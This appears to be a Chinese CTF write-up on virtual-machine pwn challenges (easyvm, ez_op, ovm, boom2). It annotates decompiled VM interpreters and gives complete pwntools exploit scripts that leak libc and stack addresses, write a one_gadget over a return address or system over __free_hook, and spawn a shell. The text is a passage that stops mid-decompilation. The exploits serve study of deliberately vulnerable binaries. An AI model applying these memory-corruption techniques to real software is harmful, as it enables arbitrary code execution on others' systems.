VMPwn

一直都没说服自己开始学vmpwn,大概是被偏代码类解读的题目,感觉上很难而劝退了吧

这类题好像就是看懂题目中赋值的操作,然后利用操作实现想要的目的
难应该就是难在看代码逻辑,分析每一个操作数执行的到底是什么功能

接下来看几道例题吧

2020高校战役 easyvm

好像是道蛮简单的vm
main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // ST2C_4
_DWORD *ptr; // [esp+18h] [ebp-18h]
int v5; // [esp+ACh] [ebp+7Ch]

sub_830();
ptr = sub_DD5();
while ( 1 )
{
switch ( sub_931() )
{
case 1:
buf = malloc(0x300u);
read(0, buf, 0x2FFu);
ptr[8] = buf;
break; // 读入指令,存进buf,再赋值到自己设置的寄存器
case 2:
if ( !ptr )
exit(0);
sub_A16(ptr);
break; // 执行指令
case 3:
if ( !ptr )
exit(0);
free((void *)ptr[10]);
free(ptr);
break;
case 4:
puts("Maybe a bug is a gif?");
dword_305C = v5;
ptr[8] = &unk_3020;
break;
case 5:
puts("Zzzzzz........");
exit(0);
return;
default:
puts("Are you kidding me ?");
break;
}
}
}

操作指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
int __cdecl sub_A16(_DWORD *a3)
{
_BYTE *v1; // ST28_4
int result; // eax
unsigned int v3; // et1
unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
while ( 1 )
{
if ( *(_BYTE *)a3[8] == 0x71 )
{
a3[6] -= 4; // 地址-4 --push
*(_DWORD *)a3[6] = *(_DWORD *)(a3[8] + 1);// a[6]=a[9]? a[9]->填入的函数地址
a3[8] += 5; // 往下读5个字节?大概就是下一个指令
// p8(0x71)+p64(函数)+p8(0x76)
// p8(0x71)的地址+5->p8(0x76)的地址
}
if ( *(_BYTE *)a3[8] == 0x41 )
{
a3[1] += a3[2]; // 寄存器1&2 相加
++a3[8];
}
if ( *(_BYTE *)a3[8] == 0x42 )
{ // 寄存器1&4 相减
a3[1] -= a3[4];
++a3[8];
}
if ( *(_BYTE *)a3[8] == 0x43 )
{ // 乘
a3[1] *= a3[3];
++a3[8];
}
if ( *(_BYTE *)a3[8] == 0x44 )
{
a3[1] /= a3[5]; // 除
++a3[8];
}
if ( *(_BYTE *)a3[8] == 0x80u )
{
a3[sub_9C3((int)a3, 1u)] = *(_DWORD *)(a3[8] + 2);// a3[a3[8]+1]=a3[8]+2 -> a3[a[9]]=a[10]
//
// 可构建'\x80\x03'+地址+'\x53'
// 可以把相应的地址打印出来了
a3[8] += 6;
}
if ( *(_BYTE *)a3[8] == 0x77 ) //异或
{
a3[1] ^= a3[9];
++a3[8];
}
if ( *(_BYTE *)a3[8] == 0x53 ) // 任意,a[3]=*a[6] -- rsp?
{
putchar(*(char *)a3[3]);
a3[8] += 2;
}
if ( *(_BYTE *)a3[8] == 0x22 )
{
a3[1] >>= a3[2]; // 右移
++a3[8];
}
if ( *(_BYTE *)a3[8] == 0x23 )
{ // 左移
a3[1] <<= a3[2];
++a3[8];
}
if ( *(_BYTE *)a3[8] == 0x99u ) //break
break;
if ( *(_BYTE *)a3[8] == 0x76 ) // pop
{
a3[3] = *(_DWORD *)a3[6]; // a[3]->addr_a[6] 存放函数的地址
*(_DWORD *)a3[6] = 0;
a3[6] += 4;
a3[8] += 5;
}
if ( *(_BYTE *)a3[8] == 0x54 ) // 任意写
{
v1 = (_BYTE *)a3[3];
*v1 = getchar();
a3[8] += 2;
}
if ( *(_BYTE *)a3[8] == 0x30 ) //或
{
a3[1] |= a3[2];
++a3[8];
}
if ( *(_BYTE *)a3[8] == 0x31 ) //与
{
a3[1] &= a3[2];
++a3[8];
}
if ( *(_BYTE *)a3[8] == 9 ) // 变量赋值为bss段地址,于0x11连用,可以leak
{
a3[1] = dword_305C;
++a3[8];
}
if ( *(_BYTE *)a3[8] == 0x10 )
{
a3[9] = a3[1];
++a3[8];
}
if ( *(_BYTE *)a3[8] == 0x11 ) //泄露
{
printf("%p\n", a3[1]);
++a3[8];
}
}
v3 = __readgsdword(0x14u);
result = v3 ^ v4;
if ( v3 != v4 )
sub_1080();
return result;
}

step1:通过后门函数把堆栈地址赋值给bss段变量,再通过0x9和0x11把code段地址泄露出来

1
2
3
4
5
6
7
backdoor()
add('\x09\x11\x99')
doit()
p.recvuntil('0x')
code_addr=int(p.recv(8),16)-0x6c0
print hex(code_addr)
read_got = elf.got['read']+code_addr

step2:通过pop、push和putchar读取got表内地址,同样读取main_arena的值(heap_addr),再读取environ内stack的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
payload = '\x71'+p32(read_got)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(read_got+1)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(read_got+2)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(read_got+3)+'\x76'+p32(0)+'\x53\x00' +'\x99'

add(payload)
doit()
p.recv(2)
read_addr = u32(p.recv(4))
print hex(read_addr)
libc_addr=read_addr-libc.sym['read']-0x100
print hex(libc_addr)
main_arena = libc_addr + 0x1b37b0
print hex(main_arena)
free_hook = libc_addr + libc.sym['__free_hook']+0x1000
print hex(free_hook)
system = libc_addr + libc.sym['system']+0x10


payload = '\x71'+p32(main_arena)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(main_arena+1)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(main_arena+2)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(main_arena+3)+'\x76'+p32(0)+'\x53\x00'+'\x99'
# p.recv(2)
add(payload)
doit()
p.recv(2)
heap_addr = u32(p.recv(4))-0xaa0
print hex(heap_addr)
environ = libc_addr + libc.symbols['environ']+0x1000
print hex(environ)


payload = '\x71' + p32(environ) + '\x76' + p32(0)+ '\x53\x00'
payload += '\x71' + p32(environ+1) + '\x76' + p32(0) + '\x53\x00'
payload += '\x71' + p32(environ+2) + '\x76' + p32(0) + '\x53\x00'
payload += '\x71' + p32(environ+3) + '\x76' + p32(0) + '\x53\x00'
payload += '\x99'
add(payload)
doit()
p.recv(2)
stack_addr = u32(p.recv(4)) - 0x100
print hex(stack_addr)
# gdb.attach(p)

step3:利用getchar往eip里面写one_gadget

这题说来也奇怪,改free_hook为system会报错’no found’,改为onegadget除了不满足条件的,还有另外一种报错是’sh: no found’
然后看到有师傅改了stack,我才跟着试了试,发现可以。
通过environ来leak出stack的地址

1
2
3
4
5
6
7
8
9
10
payload  = '\x71' + p32(stack_addr) + '\x76' + p32(0) + '\x54\x00'
payload += '\x71' + p32(stack_addr+1) + '\x76' + p32(0) + '\x54\x00'
payload += '\x71' + p32(stack_addr+2) + '\x76' + p32(0) + '\x54\x00'
payload += '\x71' + p32(stack_addr+3) + '\x76' + p32(0) + '\x54\x00'
payload += '\x99'

add(payload)
doit()

p.send(p32(libc_addr+0x5fbc5))

关于stack的取值:

在getchar的位置下断,查看栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> stack 20
00:0000│ esp 0xffffcd8c —▸ 0x56555cb7 ◂— mov edx, eax
01:00040xffffcd90 —▸ 0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
...
03:000c│ 0xffffcd98 —▸ 0xffffcdc8 —▸ 0xffffce08 ◂— 0x0
04:00100xffffcd9c —▸ 0x56559008 ◂— 0x0
05:00140xffffcda0 —▸ 0x56556166 ◂— xor eax, 0x74654c2e /* '5.Let the robot sleep!\n>>> ' */
06:00180xffffcda4 —▸ 0x56557f9c ◂— 0x2ebc
07:001c│ 0xffffcda8 —▸ 0xffffce3d ◂— 0x1f7ffdc
08:00200xffffcdac ◂— 0x57158d00
09:00240xffffcdb0 —▸ 0x56557f9c ◂— 0x2ebc
0a:00280xffffcdb4 —▸ 0xf7fb1000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
0b:002c│ ebp 0xffffcdb8 —▸ 0xffffce08 ◂— 0x0
0c:0030│ 0xffffcdbc —▸ 0x56555f54 ◂— add esp, 0x10 -->eip(填写要执行的地址)
0d:00340xffffcdc0 —▸ 0x56559008 ◂— 0x0
0e:00380xffffcdc4 —▸ 0x56557f9c ◂— 0x2ebc

envrion内的地址

1
2
3
4
5
6
pwndbg> x/10gx &environ
0xf7fb2dbc <environ>: 0x00000000ffffcebc 0x0000000000000000
0xf7fb2dcc <__curbrk>: 0x000000005657a000 0x0000000000000000
0xf7fb2ddc: 0x0000000000000000 0x0000000000000000
0xf7fb2dec <fstab_state+12>: 0x0000000000000000 0x0000000000000000
0xf7fb2dfc <fstab_state+28>: 0x0000000000000000 0x0000000000000000

两者间的距离

1
2
pwndbg> distance 0xffffcdbc 0x00000000ffffcebc
0xffffcdbc->0xffffcebc is 0x100 bytes (0x40 words)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#coding=utf8
from pwn import *
context.log_level = 'debug'
p=process("./EasyVM")
elf=ELF('./EasyVM')
libc=ELF('./libc-2.23.so')

def add(content):
p.recvuntil(">>>")
p.sendline("1")
p.sendline(content)

def doit():
p.recvuntil(">>>")
p.sendline("2")

def delete():
p.recvuntil(">>>")
p.sendline("3")

def backdoor():
p.recvuntil(">>>")
p.sendline("4")

gdb.attach(p)
backdoor()
add('\x09\x11\x99')
doit()
p.recvuntil('0x')
code_addr=int(p.recv(8),16)-0x6c0
print hex(code_addr)
read_got = elf.got['read']+code_addr

payload = '\x71'+p32(read_got)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(read_got+1)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(read_got+2)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(read_got+3)+'\x76'+p32(0)+'\x53\x00' +'\x99'

add(payload)
doit()
p.recv(2)
read_addr = u32(p.recv(4))
print hex(read_addr)
libc_addr=read_addr-libc.sym['read']-0x100
print hex(libc_addr)
main_arena = libc_addr + 0x1b37b0
print hex(main_arena)
free_hook = libc_addr + libc.sym['__free_hook']+0x1000
print hex(free_hook)
system = libc_addr + libc.sym['system']+0x10


payload = '\x71'+p32(main_arena)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(main_arena+1)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(main_arena+2)+'\x76'+p32(0)+'\x53\x00'
payload += '\x71'+p32(main_arena+3)+'\x76'+p32(0)+'\x53\x00'+'\x99'
# p.recv(2)
add(payload)
doit()
p.recv(2)
heap_addr = u32(p.recv(4))-0xaa0
print hex(heap_addr)
environ = libc_addr + libc.symbols['environ']+0x1000
print hex(environ)


payload = '\x71' + p32(environ) + '\x76' + p32(0)+ '\x53\x00'
payload += '\x71' + p32(environ+1) + '\x76' + p32(0) + '\x53\x00'
payload += '\x71' + p32(environ+2) + '\x76' + p32(0) + '\x53\x00'
payload += '\x71' + p32(environ+3) + '\x76' + p32(0) + '\x53\x00'
payload += '\x99'
add(payload)
doit()
p.recv(2)
stack_addr = u32(p.recv(4)) - 0x80
print hex(stack_addr)
# gdb.attach(p)

payload = '\x71' + p32(stack_addr) + '\x76' + p32(0) + '\x54\x00'
payload += '\x71' + p32(stack_addr+1) + '\x76' + p32(0) + '\x54\x00'
payload += '\x71' + p32(stack_addr+2) + '\x76' + p32(0) + '\x54\x00'
payload += '\x71' + p32(stack_addr+3) + '\x76' + p32(0) + '\x54\x00'
payload += '\x99'



add(payload)
doit()


gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]

gdb.attach(p)
p.send(p32(libc_addr+gadgets[4]))





p.interactive()

参考

https://xz.aliyun.com/t/7787#toc-3

2019 ROARCTF ez_op

这题真的是分析操作逻辑分析到崩溃了

分析:

关于操作码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
int __cdecl option(int opcode, int opdata)
{
int choose; // [esp+4h] [ebp-14h]
chunk *savingchunk; // [esp+8h] [ebp-10h]
int v5; // [esp+Ch] [ebp-Ch]
int v6; // [esp+10h] [ebp-8h]

v5 = 1;
savingchunk = malloc_addr(0x40);
while ( v5 && changeA2B(opcode, &choose) ) // opcode的值给到choose
{
if ( choose == 0x10101010 )
{
v6 = opdata;
v5 = value2idx(savingchunk); //把chunk里esp作为idx,esp-4赋值进chunk对应的idx
}
else
{
if ( choose > 0x10101010 )
goto LABEL_25;
if ( choose == 0xFFFF28 )
{
v5 = pop_pop(savingchunk, opdata); // pop
}
else
{
if ( choose > 0xFFFF28 )
goto LABEL_25;
if ( choose == 0xABCEF )
{
v6 = opdata;
v5 = multiply(savingchunk);
}
else
{
if ( choose > 0xABCEF )
goto LABEL_25;
if ( choose == 0x11111 )
{
v6 = opdata;
v5 = sub(savingchunk);
}
else
{
if ( choose > 0x11111 )
goto LABEL_25;
if ( choose == 0x2A3D )
{
v5 = push(savingchunk, opdata); // push
}
else
{
if ( choose > 0x2A3D )
goto LABEL_25;
if ( choose == 0x514 )
{
v6 = opdata;
v5 = div(savingchunk);
}
else
{
if ( choose > 0x514 )
goto LABEL_25;
if ( choose == 0xFFFFFFFF )
{
v6 = opdata;
v5 = change2esp(savingchunk); //把指定idx对应的内容放到chunk的顶部(esp)
}
else if ( choose )
{
LABEL_25:
v5 = 0;
}
else
{
v6 = opdata;
v5 = add(savingchunk);
}
}
}
}
}
}
}
}
free_free(savingchunk);
return v5;
}

用得很多的就是这个函数了,就是把opxxxx的顶部地址赋值给chr变量

1
2
3
4
5
6
7
8
9
10
signed int __cdecl changeA2B(chunk *opxxxx, _DWORD *chr)
{
if ( !opxxxx )
return 0;
if ( *(&opxxxx->addr + &tybte_buf + 0xF7F21008) == -1 )
return 0;
*chr = *&opxxxx->addr[4 * *(&opxxxx->addr + &tybte_buf + 0xF7F21008)];// str = opxxxx->addr[opxxxx->offset]
*(&opxxxx->addr + &tybte_buf + 0xF7F21008) += &dword + 0xF7F21003;//idx 080DEFFC+3 - 080df000 -> -1(-4)
return 1;
}

这个函数呢就是把a2地址再赋给a1的顶部地址位置

1
2
3
4
5
6
7
8
9
10
11
12
13
signed int __cdecl changeB2A(chunk *a1, int a2)
{
char *v3; // [esp+Ch] [ebp-4h]

if ( !a1 )
return 0;
v3 = *(&a1->addr + &tybte_buf + 0xF7F21008) + 1;// idx+1
if ( v3 == *(&a1->addr + &tybte_buf + 0xF7F21004) )
return 0;
*&a1->addr[4 * v3] = a2; // 传参,+4的地址
*(&a1->addr + &tybte_buf + 0xF7F21008) = v3; // chunk的位置的指针内容更改为指针加一
return 1;
}

我大概就是靠这个辨认出来的pop和push吧,太难了啊

关键函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
signed int __cdecl value2idx(chunk *chunk)
{
int value; // [esp+8h] [ebp-8h]
int offset; // [esp+Ch] [ebp-4h]

if ( !changeA2B(chunk, &offset) || !changeA2B(chunk, &value) )
return 0;
*&chunk->addr[4 * &(*(&chunk->addr + &tybte_buf + 0xF7F21008))[offset]] = value;// A1->ptr[(A1->ptr+8) [offest]] === A1->ptr[A1->offset+offset] === value
return 1; // opxxxx->addr[opxxxx->num + offset]=v2
} // 有整数溢出,不检查offset,从chunk里面取两个值分别作为idx和对应内容



signed int __cdecl change2esp(chunk *savingchunk)
{
signed int result; // eax
int chr; // [esp+8h] [ebp-8h]

if ( changeA2B(savingchunk, &chr) ) // savingchunk取值,地址赋给chr
result = changeB2A(savingchunk, *&savingchunk->addr[4 * &(*(&savingchunk->addr + &tybte_buf + 0xF7F21008))[chr]]);//
// change(savingchunk,savingchunk->addr[chunk->offset+chr]
// 把savingchunk->addr[chunk->num + chr]的值赋值savingchunk的顶部
else
result = 0;
return result;
}

我们可以利用上面两个函数将system的地址覆盖到free_hook的地址

找到符合结构体的位置,对应addr到结构体存放位置的距离是0x110

1
2
3
0x80e3a80:	0x00000000	0x00000000	0x00000000	0x00000011
0x80e3a90: 0x080e3980 0x00000040 0xffffffff 0x00020569
0x80e3aa0: 0x00000000 0x00000000 0x00000000 0x00000000

然后把free_hook和这个地址的距离算出来,然后用sub 和div,将system往里写

距离为0x110即0x44(不算这个地址本身),之前push了4次,load了一次,需要-0xc的地址,即3个内存,所以要0x44+1-0x3=0x42

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#coding=utf8
from pwn import *
context.log_level = 'debug'

p=process('./bin')
elf=ELF('./bin')


push = 0x2A3D
pop = 0xFFFF28
change2esp = -1
value2idx = 0x10101010
sub = 0x11111
div = 0x514

# system = 0x08051830
system = 0x08051c60
free_hook = 0x80e09f0

heap_off = (0x110-0x8)/4


def create(d):
return " ".join([str(x) for x in d])

payload = create([push,push,push,push,change2esp,push,sub,div,value2idx])

payload1 = create(['$0',system,4,heap_off,free_hook])


p.sendline(payload)
p.sendline(payload1)
p.interactive()

如果是把参数最后才压进来的话,我们的offset和free的地址都要因此变化,因为少了个push,所以heap_off +1,free也+4

这样才会将system存进free_hook里

1
2
3
4
pwndbg> x/10wx 0x80e09f0
0x80e09f0: 0x08051c60 0x00000000 0x00000000 0x00000000
0x80e0a00: 0x00000000 0x00000000 0x00000000 0x00000000
0x80e0a10: 0x00000000 0x00000040

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
coding=utf8
from pwn import *
context.log_level = 'debug'

p=process('./bin')
elf=ELF('./bin')


push = 0x2A3D
pop = 0xFFFF28
change2esp = -1
value2idx = 0x10101010
add = 0x0
sub = 0x11111
div = 0x514

# system = 0x08051830
system = 0x08051c60
free_hook = 0x80e09f0

heap_off = (0x110-0x8)/4


def create(d):
return " ".join([str(x) for x in d])

payload = create([push,push,push,change2esp,push,sub,div,value2idx,push])

payload1 = create([system,4,heap_off+1,free_hook+4,0x3024])

p.sendline(payload)
p.sendline(payload1)
p.interactive()

参考:

http://q1iq.top/vm-Pwn/
https://tianstcht.github.io/2019-ROAR-CTF-ez_op/

2019 OGreek ovm

分析:

大概看了下操作
首先会输入PC和SP作为reg[15]和reg[13],reg的话应该就是伪寄存器数组了,memory的话是存放输入的code的位置
数组都是DWORD的类型,就4位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
ssize_t __fastcall execute(int a1)
{
ssize_t result; // rax
unsigned __int8 v2; // [rsp+18h] [rbp-8h]
unsigned __int8 v3; // [rsp+19h] [rbp-7h]
unsigned __int8 v4; // [rsp+1Ah] [rbp-6h]
signed int i; // [rsp+1Ch] [rbp-4h]

v4 = (a1 & 0xF0000u) >> 16;
v3 = (a1 & 0xF00) >> 8;
v2 = a1 & 0xF;
result = HIBYTE(a1);
if ( HIBYTE(a1) == 0x70 ) // 高字节
{
result = reg;
reg[v4] = reg[v2] + reg[v3]; // add
return result;
}
if ( result > 112 )
{
if ( result == 0xB0 )
{
result = reg;
reg[v4] = reg[v2] ^ reg[v3]; // 异或
return result;
}
if ( result > 176 )
{
if ( result == 0xD0 )
{
result = reg;
reg[v4] = reg[v3] >> reg[v2]; // 右移
return result;
}
if ( result > 208 )
{
if ( result == 0xE0 )
{
running = 0;
if ( !reg[13] )
return write(1, "EXIT\n", 5uLL);
}
else if ( result != 0xFF )
{
return result;
}
running = 0; // ff:print
for ( i = 0; i <= 15; ++i )
printf("R%d: %X\n", i, reg[i]);
result = write(1, "HALT\n", 5uLL);
}
else if ( result == 0xC0 )
{
result = reg;
reg[v4] = reg[v3] << reg[v2]; // 左移
}
}
else
{
switch ( result )
{
case 0x90:
result = reg;
reg[v4] = reg[v2] & reg[v3]; // 与
break;
case 0xA0:
result = reg;
reg[v4] = reg[v2] | reg[v3]; // 或
break;
case 0x80:
result = reg;
reg[v4] = reg[v3] - reg[v2]; // 减
break;
}
}
}
else if ( result == 0x30 )
{
result = reg; // f0f0f -> v4 0 v3 0 v2
reg[v4] = memory[reg[v2]]; // reg[3字节]=memory[reg[1字节]]
// 从memory中读取数据到reg[v4]
//
}
else if ( result > 0x30 )
{
switch ( result )
{
case 0x50:
LODWORD(result) = reg[13]; // rsp
reg[13] = result + 1;
result = result; // esp+1,stack被覆值为reg[v4]
stack[result] = reg[v4];
break;
case 0x60:
--reg[13]; // esp--,reg[v4]=stack[esp]
result = reg;
reg[v4] = stack[reg[13]];
break;
case 0x40:
result = memory;
memory[reg[v2]] = reg[v4]; // ref[v4]->memory[reg[v2]]
break;
}
}
else if ( result == 0x10 )
{
result = reg; // 把输入的操作指令存进reg[v4]
reg[v4] = a1;
}
else if ( result == 0x20 )
{
result = reg;
reg[v4] = a1 == 0;
}
return result;
}

在main函数的最后,有一个read函数,它将输入的值读入到了comment[0]所指向的地址位置,然后再free掉这个地址内的chunk

1
2
3
write(1, "HOW DO YOU FEEL AT OVM?\n", 0x1BuLL);
read(0, comment[0], 0x8CuLL);
sendcomment(comment[0]);

综上,
我们可以利用add,left来实现数组越界,读取地址到reg内,然后读出,并且可以利用偏移,将free_hook-8的地址存放到寄存器和对应的memory的位置(上溢到comment),再利用输入把system赋值到free_hook

comment[0]作为free的参数,所以要填入free_hook-8的地址才方便getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#coding=utf8
from pwn import *
context.log_level = 'debug'

p=process('./ovm')
elf= ELF('./ovm')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(v4,v3,v2):
return u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1])

def left(v4,v3,v2):
return u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1])

def memory2reg(v4,v2):
return u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1]) #reg[v4] = memory[reg[v2]]

def reg2memory(v4,v2):
return u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1])

def set(v4,v2):
return u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1])


code =[
set(0,8),
set(1,0xff),
set(2,0xff),
left(2,2,0),
add(2,1,2),
left(2,2,0),
add(2,1,2),
left(2,2,0),
set(1,0xc8), #-56 -> stdin
add(2,2,1),
memory2reg(3,2), #reg[3] = memory[reg[2]] = memory[-56] = stdin
set(1,1),
add(2, 2, 1), # -55
memory2reg(4, 2), # reg[4]=memory[reg[2]]=memory[-55] = write
set(1, 0x10),
left(1, 1, 0),
set(0, 0x90), #stdin+0x1090=free_hook-8
add(1, 1, 0),
add(3, 3, 1), # reg[3]=reg[3]+reg[1] = free_hook
set(1, 47), #
add(2, 2, 1), #
reg2memory(3, 2), # memory[reg[2]]=memory[-8]=reg[3] comment[0]
set(1, 1), # reg[1]=1
add(2, 2, 1), # reg[2]=reg[2]+1=-8+1=-7
reg2memory(4, 2), # memory[reg[2]]=memory[-7]=reg[4]
u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1])

]

p.recvuntil('PC: ')
p.sendline(str(0))
p.recvuntil('SP: ')
p.sendline(str(1))
p.recvuntil('SIZE: ')
p.sendline(str(len(code)))
p.recvuntil('CODE: ')
for i in code:
#sleep(0.2)
p.sendline(str(i))
p.recvuntil('R3: ')
#gdb.attach(io)
addr_low = int(p.recv(8), 16)+8
print hex(addr_low)
p.recvuntil('R4: ')
addr_high = int(p.recv(4), 16)
print hex(addr_high)

free_hook = (addr_high << 32)+addr_low
libc_base = free_hook-libc.symbols['__free_hook']
system_addr = libc_base+libc.symbols['system']
print hex(libc_base)
gdb.attach(p)
p.recvuntil('OVM?')
p.send('/bin/sh\x00'+p64(system_addr))
p.interactive()

参考链接

https://www.anquanke.com/post/id/208450#h2-1

网鼎杯2020 青龙组 boom2

这题的操作理解起来不太难,就是不知道怎么利用

操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 ) // push前要先让ax存上值
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
if ( ++v39 > 30 )
{
code_num = 30LL;
}
else
{
v7 = (signed __int64 *)code;
code += 8;
code_num = *v7;
}
if ( code_num )
break;
v9 = code;
code += 8;
reg_ax = (signed __int64)&reg_bp[*v9];// reg = &ebp[num] v9里面是下标
}
if ( code_num != 1 )
break;
v10 = (signed __int64 *)code;
code += 8;// pop
reg_ax = *v10;// reg_ax=code的值->[code]
}
if ( code_num != 6 )
break;
v11 = sp_ - 1;
*v11 = (signed __int64)reg_bp;// sp -> &bp
reg_bp = v11;// bp = &bp
v12 = code;
code += 8;
sp_ = &v11[-*v12];// &bp[-offset]
}
if ( code_num != 8 )
break;
v13 = (signed __int64)(reg_bp + 1);
reg_bp = (signed __int64 *)*reg_bp;// sp=[sp]
v14 = (void **)v13;
sp_ = (signed __int64 *)(v13 + 8);
code = (char *)*v14;
}
if ( code_num != 9 )
break;
reg_ax = *(_QWORD *)reg_ax;// ax=[ax]
}
if ( code_num != 10 )
break;
reg_ax = *(char *)reg_ax;// char
}
if ( code_num != 11 )
break;
v15 = (signed __int64 **)sp_;// int64
++sp_;
**v15 = reg_ax; // **sp = ax ->ax 可控 下一个esp?
}
if ( code_num != 12 )
break;
v16 = sp_;
++sp_;
v17 = (_BYTE *)*v16;// v17 = *bp byte
*v17 = reg_ax;// bp = *ax
reg_ax = (char)*v17;// ax= **bp
}
if ( code_num != 13 )
break;
--sp_; // push
*sp_ = reg_ax;// *bp=rax
}
if ( code_num != 14 )
break;
v18 = sp_;
++sp_; // pop
reg_ax |= *v18;// ax|bp 或
}
if ( code_num != 15 )
break;
v19 = sp_;
++sp_; // pop
reg_ax ^= *v19; // 异或
}
if ( code_num != 16 )
break;
v20 = sp_;
++sp_; // pop
reg_ax &= *v20; // 与
}
if ( code_num != 17 )
break;
v21 = sp_;
++sp_;
reg_ax = *v21 == reg_ax;
}
if ( code_num != 18 )
break;
v22 = sp_;
++sp_;
reg_ax = *v22 != reg_ax;
}
if ( code_num != 19 )
break;
v23 = sp_;
++sp_;
reg_ax = *v23 < reg_ax;
}
if ( code_num != 20 )
break;
v24 = sp_;
++sp_;
reg_ax = *v24 > reg_ax;
}
if ( code_num != 21 )
break;
v25 = sp_;
++sp_;
reg_ax = *v25 <= reg_ax;
}
if ( code_num != 22 )
break;
v26 = sp_;
++sp_;
reg_ax = *v26 >= reg_ax;
}
if ( code_num != 23 )
break;
v27 = sp_;
++sp_;
reg_ax = *v27 << reg_ax;
}
if ( code_num != 24 )
break;
v28 = sp_;
++sp_;
reg_ax = *v28 >> reg_ax;
}
if ( code_num != 25 )
break;
v29 = sp_;
++sp_;
reg_ax += *v29; // 加
}
if ( code_num != 26 )
break;
v30 = sp_;
++sp_;
